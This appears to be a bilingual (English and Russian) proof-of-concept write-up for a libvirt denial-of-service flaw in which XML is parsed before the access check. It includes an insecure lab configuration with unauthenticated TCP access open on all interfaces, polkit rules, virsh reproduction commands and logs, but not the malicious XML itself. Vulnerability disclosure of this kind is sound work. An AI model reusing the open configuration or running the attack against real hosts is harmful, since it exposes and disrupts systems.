teresh1/cve-2025-12748Proof of concept & details for CVE-2025-12748
An issue was discovered in the XML file processing procedure.
The processing of the file's content is performed before the ACL check. This allows a user with limited permissions to submit a specially crafted XML file that can cause too much resource consumption, leading to a potential denial-of-service (DoS) attack.
apt-get install libvirt libvirt-kvm libvirt-qemu
gpasswd -a user vmusers
systemctl enable --now libvirtd
listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules):polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkitAttempting to access libvirt with a valid XML file:
virsh --connect qemu://system define ./test.xml
The following error will be received:
error: Failed to define domain from ./test.xml
error: access denied: access denied "QEMU"
And the corresponding polkit log:
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
Attempting to access libvirt with a malicious XML file:
virsh --connect qemu://system define ./oom.xml
The log will be empty due to the server hanging, and increased resource consumption by libvirtd can be observed in top.
Обнаружена проблема при обработке xml-файла.
Обработка содержимого файла выполняется до проверки ACL. Это позволяет пользователю с ограниченными правами отправить специально сформированный XML-файл, который может вызвать чрезмерное потребление ресурсов, что приводит к потенциальной атаке типа "отказ в обслуживании" (DoS).
/etc/libvirt/libvirtd.conf заменить текст на:listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules):polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkitОбращение к libvirt с валидным xml-файлом:
virsh --connect qemu://system define ./test.xml
Будет получена ошибка:
ошибка: Не удалось создать описание домена на основе ./test.xml
ошибка: доступ запрещен: доступ запрещен "QEMU"
И соответствующий лог polkit:
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
Обращение к libvirt с вредоносным xml-файлом:
virsh --connect qemu://system define ./oom.xml
Лог будет пустой из-за зависания сервера, в top можно проконтролировать увеличение потребляемых ресурсов libvirtd.